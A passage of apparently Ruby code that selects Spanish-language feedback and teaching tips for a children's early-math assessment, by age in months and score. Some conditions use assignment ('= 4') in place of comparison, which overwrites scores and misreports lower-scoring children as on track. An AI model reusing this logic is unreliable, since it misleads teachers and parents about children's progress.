una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pi_comp < 2 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_comp > 4 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_comp = 4 then\n @g = \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental. Una vez que el niño se haya familiarizado con esto, debería pasar a trabajar con números del 1 al 100. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Los objetos pueden alinearse uno al lado del otro, de esta manera, el estudiante puede aprender que la colección a la que le “sobra algo”, al ponerla en relación por correspondencia uno a uno, es la que tiene “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente.\n\n* Presentar al niño una línea numérica escrita en el piso (del 1 al 10, por ejemplo) y preguntarle dónde se necesitan más pasos: del 2 al 9 o del 2 al 4. También se podría utilizar una regla para realizar este ejercicio. Esta experiencia con líneas numéricas físicas le ayudará al niño a interiorizar la línea numérica mental.\n\"\n\n\n# 84 a 95\n\nelsif @test.edad.between?(84, 95) && @test.pi_comp > 3 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \n\"\n\nelsif @test.edad.between?(84, 95) && @test.pi_comp < 4 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \n\"\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 4 then\n @g= \"El/la estudiante ha adquirido las habilidades de comparación de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. El siguiente paso supone considerar el conjunto global de números entre el 1 y el 100. Para esto se puede utilizar un metro. El niño tiene que llegar a valorar las distancias relativas entre varias posiciones en el metro. \n\"\n\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\n @g = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de comparación de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Presentar al niño tareas de comparación de conjuntos de objetos y pedirle que diga dónde hay “más”. Una vez que el estudiante ha practicado durante un tiempo se debe prescindir de los objetos y plantear la tarea oralmente. Puede ir incrementando los números para que la tarea sea más compleja para el estudiante o pedirle que diga dónde hay “menos”.\n\n* Presentar al niño el juego “desapareciendo números”, el cual consiste en representar números del 1 al 10 como una escalera de bloques. Cada bloque puede representar un grupo de 10, de manera que los números implicados sean ahora el 10, 20, 30,... 100. Esto le permite al niño de manera gráfica saber “lo lejos” que están los números entre sí y permite calcular la distancia con facilidad. \n\"\n \nend\n\n\n\n\n# Cálculo Informal \n\n# 60 a 65\n\nif @test.edad.between?(60, 65) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_cal.between?(2, 3) then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_cal < 2 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\"\n\n\n# 66 a 71\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal > 4 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal.between?(3, 4) then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_cal < 3 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pi_cal > 4 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_cal = 4 then\n @h = \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\n\nelsif @test.edad.between?(78, 83) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\n\n\n\n# 84 a 101\n\nelsif @test.edad.between?(84, 101) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Practicar sumas y restas mentales con cantidades mayores. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\n\"\n\nelsif @test.edad.between?(84, 101) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea del cálculo con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental. \n\n* Practicar sumas y restas mentales con diversas cantidades. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\n\"\n \nend\n\n\n\n\n# Convencionalismos\n\n# 60 a 71\n\nif @test.edad.between?(60, 71) && @test.pf_conv > 1 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pf_conv < 2 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pf_conv > 4 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pf_conv.between?(3, 4) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pf_conv < 3 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv > 5 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv.between?(4, 5) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv < 4 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 84 a 89\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv > 7 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\n* Una vez dominada la lectura y escritura de números con 3 dígitos, continuar con la lectura de números de 3 dígitos siguiente los métodos descritos anteriormente. Nuevamente el niño debe saber que la posición es crucial: los números que están a la derecha de todo son las unidades, los que indican las decenas están justo a su izquierda, los números que indican las centenas están a la izquierda de las decenas y, por último, los números que indican los millares son los que están más a la izquierda. \n\"\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv.between?(5, 7) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv < 5 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\n\n# 90 a 101\n\nelsif @test.edad.between?(90, 101) && @test.pf_conv > 5 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica 